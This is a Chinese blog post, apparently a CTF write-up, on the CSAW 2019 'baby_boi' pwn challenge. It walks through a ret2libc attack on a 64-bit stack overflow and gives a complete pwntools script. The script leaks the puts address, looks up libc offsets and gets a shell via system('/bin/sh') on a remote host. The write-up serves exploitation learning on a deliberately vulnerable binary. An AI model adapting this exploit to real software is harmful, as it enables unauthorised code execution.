当前位置:首页 > DayDayUp > 正文内容

[WP] CSAW baby_boi 复现

Luz3年前 (2019-09-17)DayDayUp1697

等我看到这个比赛的时候它已经结束了...


题目还能下 ,在自己的服务器上搭了一下环境   nc 106.12.39.38 102


image.png



64位 , 溢出点长度无限  ,无system但是有输出 


标准的ret2libc的解法


image.png


获取gadget


image.png


感觉只需要一个参数,就只取了一个pop rdi ret'


接下来使用puts泄露puts的got内容  

payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(putsgot)+p64(putsplt)+p64(start)


原题给了libc ,然而在我这里没什么用 ,使用LibcSearcher 获取 libc版本


a=p.recvline()[-8:-1]
putsaddr=u64(a.ljust(8,'\x00'))
print hex(putsaddr)
libc=LibcSearcher('puts',putsaddr)


接着获取基址和system函数与'/bin/sh'字符串的偏移并算出真实地址


构建payload2

payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(bin)+p64(sys)



image.png


获取flag



payload:

from pwn import *
from LibcSearcher import *
p=remote("106.12.39.38",102)
#p=process('/mnt/hgfs/Desktop/baby_boi')
poprdi=0x0000000000400793
start=0x00000000004005A0
context.log_level = 'debug'
elf=ELF('/mnt/hgfs/Desktop/baby_boi')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
print putsplt
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(putsgot)+p64(putsplt)+p64(start)
p.sendline(payload)

print '1:'+p.recvline()
b=int(p.recvline()[13:],16)
print '2:'+hex(b)
sleep(1)
a=p.recvline()[-8:-1]
putsaddr=u64(a.ljust(8,'\x00'))
print hex(putsaddr)
libc=LibcSearcher('puts',putsaddr)
putsof=libc.dump('puts')
print putsof
base=putsaddr-putsof
sys=libc.dump('system')+base
print hex(sys)
bin=libc.dump('str_bin_sh')+base
print hex(base)
print hex(putsaddr)
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(bin)+p64(sys)
p.sendline(payload)
p.interactive()


其实不用这么复杂


刚开始想着把'/bin/sh'直接让程序读到变量里(因为程序输出了变量的地址)


不知道哪里出问题一直报错


后来才在libc里找现成的字符串直接用

标签: PWN

相关文章

删除Halo桌面卸载后残余的halodesktop文件夹

删除Halo桌面卸载后残余的halodesktop文件夹

现象:残留Halo桌面写在后在 C:\Program Files (x86) 残留目录HaloDesktop其中存在HaloSvc.dll文件被Desktop Arrangement Helper Service使用,导致整个文件夹无法删除...

Office镜像解压至分区根目录导致磁盘图标变成office图标

Office镜像解压至分区根目录导致磁盘图标变成office图标

现象:Office镜像解压至分区根目录导致磁盘图标变成office图标操作:删除autorun.inf...

linux 常用tcpdump 抓包命令

默认抓包(抓取网络接口1上的所有数据包)tcpdump指定网卡(eth1:网卡名)tcpdump -i eth1指定主机(name:主机名,1.1.1.1:主机ip,抓取进入/离开指定主机的包;src:发送,dst:接收...

nginx反向代理配置

server{    listen 80;    //监听端口    host 1.1.1.1;    //监听地址location /{  &nbs...

Activemq端口放行(activemq报错Transport Connection to: tcp://XXX failed: java.io.EOFExcepti)

Activemq端口放行(activemq报错Transport Connection to: tcp://XXX failed: java.io.EOFExcepti)

发现有的activemq部署后局域网内其他机子连接日志报错为2021-08-06 16:21:49,499 | WARN  | Transport Connection&...

斐波那契数列 前2000个数

偶尔有脑洞题需要用到,算了一些方便查询计算脚本:fib_recur1=[0]*500 fib_recur1[-1]=0 fib_recur1[0]=1 fib_recur1[1]=1 def fib_recur(n):...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。